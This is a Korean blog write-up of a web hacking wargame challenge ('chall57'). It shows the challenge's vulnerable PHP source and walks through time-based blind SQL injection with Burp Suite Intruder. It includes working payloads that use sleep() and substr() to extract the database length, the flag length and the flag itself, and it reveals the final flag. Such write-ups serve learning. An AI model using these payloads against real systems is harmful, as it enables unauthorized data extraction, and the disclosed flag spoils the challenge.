반응형

소스코드는 다음과 같음

<?php
  $db = dbconnect();
  if($_GET['msg'] && isset($_GET['se'])){
    $_GET['msg'] = addslashes($_GET['msg']);
    $_GET['se'] = addslashes($_GET['se']);
    if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
    mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
    echo "Done<br><br>";
    if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
  }
?>

 

소스코드 상에 뭘 제출하면 클리어 되는지 나와 있지 않음

flag값은 flag.php에 저장해놓고 항상 일정한 값을 insert하고 있음

즉, 문제 입력창에 뭘 입력한다고 클리어되는것이 아니라 flag값을 찾아서 메인페이지에 있는 Auth를 하는 문제

 

어떻게 하면 flag값을 찾을 수 있을까?

insert 쿼리안에서 서브쿼리를 활용하면 flag값을 기준으로 timebased blind sqli 수행이 가능함

 

문제의 php코드를 그대로 복사하여 시뮬레이션을 해봤음

다음 예시는 "what!!"이라는 플래그가 6글자인지 확인하는 서브쿼리를 작성하고, 6글자가 맞으면 2초 지연 응답하도록 쿼리임

 

- 데이터베이스 길이 알아내기:

굳이 할 필요는 없지만, 코드 짤 필요없이 burpsuite을 활용해 timebased blindsqli를 간단히 수행할 수 있는 방법이 있어 소개하고자 함

intruder설정시 페이로드는 데이터베이스 길이를 찾으면 2초 지연 응답하도록 함

se=if(length(database())=1,sleep(2),0)

 

쓰레드는 1개로 설정.

쓰레드가 여러개면 병렬로 쿼리를 날려서 응답지연이 발생한 이후부터 나머지 쿼리들은 모드 응답지연이 발생하므로 제대로 판단이 어렵기 때문

 

공격수행. Intruder Columns 항목에서 Response received를 체크.

 

Response received 값을 바탕으로 데이터베이스의 길이가 10임을 알아냄

 

- 플래그 길이 알아내기:

페이로드는 flag의 길이 알아내면 2초지연 응답하도록 함

se=if(length(pw)=1,sleep(2),0)

 

공격 수행. 응답시간으로 플래그의 길이는 24임을 알아냄

 

- 플래그 알아내기:

페이로드는 플래그 문자의 ascii값과 일치하면 2초 지연 응답하도록 함

변하는 값이 2개 이상이므로 attack type은 Cluster bomb으로 설정 

se=if(ascii(substr(pw,1,1))=1,sleep(2),0)

 

공격 수행

 

플래그 이름은 "y2u.be/kmpgjr0EL64". 메인페이지의 Auth에 입력하면 클리어

 

반응형

+ Recent posts